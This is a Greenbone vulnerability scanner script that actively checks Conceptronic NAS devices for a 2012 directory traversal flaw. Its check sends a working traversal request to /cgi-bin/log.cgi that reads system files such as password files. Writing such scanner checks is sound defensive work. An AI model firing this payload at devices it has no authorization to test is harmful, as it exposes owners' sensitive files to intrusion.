Multiple Conceptronic Products Directory Traversal Vulnerability (Sep 2012) - Active Check

# SPDX-FileCopyrightText: 2012 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.103563");
  script_tag(name:"cvss_base", value:"7.8");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:C/I:N/A:N");
  script_version("2026-03-17T05:57:28+0000");

  script_name("Multiple Conceptronic Products Directory Traversal Vulnerability (Sep 2012) - Active Check");

  script_xref(name:"URL", value:"http://www.securityfocus.com/bid/55369");

  script_tag(name:"last_modification", value:"2026-03-17 05:57:28 +0000 (Tue, 17 Mar 2026)");
  script_tag(name:"creation_date", value:"2012-09-12 12:56:11 +0200 (Wed, 12 Sep 2012)");
  script_category(ACT_ATTACK);
  script_tag(name:"qod_type", value:"remote_vul");
  script_family("Web application abuses");
  script_copyright("Copyright (C) 2012 Greenbone AG");
  script_dependencies("find_service.nasl", "httpver.nasl", "os_detection.nasl",
                      "global_settings.nasl");
  script_require_ports("Services/www", 80);
  script_mandatory_keys("Host/runs_unixoide");
  script_exclude_keys("Settings/disable_cgi_scanning");

  script_tag(name:"summary", value:"Multiple Conceptronic products are prone to a directory traversal
  vulnerability.");
  script_tag(name:"impact", value:"A remote attacker could exploit the vulnerability using directory-
  traversal characters ('../') to access arbitrary files that contain
  sensitive information that could aid in further attacks.");
  script_tag(name:"affected", value:"Conceptronic Home Media Store CH3ENAS Firmware 3.0.12 Conceptronic

  Dual Bay Home Media Store CH3HNAS Firmware 2.4.13");

  script_tag(name:"solution", value:"No known solution was made available for at least one year since the disclosure of this vulnerability.
  Likely none will be provided anymore. General solution options are to upgrade to a newer release, disable respective features,
  remove the product or replace the product by another one.");

  script_tag(name:"solution_type", value:"WillNotFix");

  exit(0);
}

include("host_details.inc");
include("os_func.inc");
include("http_func.inc");
include("http_keepalive.inc");
include("port_service_func.inc");
include("traversal_func.inc");

port = http_get_port(default:80);

if(http_vuln_check(port:port, url:"/login.htm", pattern:"(Conceptronic|CH3HNAS|CH3ENAS)", usecache:TRUE)) {

  files = traversal_files("linux");

  foreach pattern(keys(files)) {

    file = files[pattern];

    url = "/cgi-bin/log.cgi?syslog&../../" + file + "&Conceptronic2009";

    if(http_vuln_check(port:port, url:url,pattern:pattern,check_header:TRUE)) {
      report = http_report_vuln_url(port:port, url:url);
      security_message(data:report, port:port);
      exit(0);
    }
  }
}

exit(99);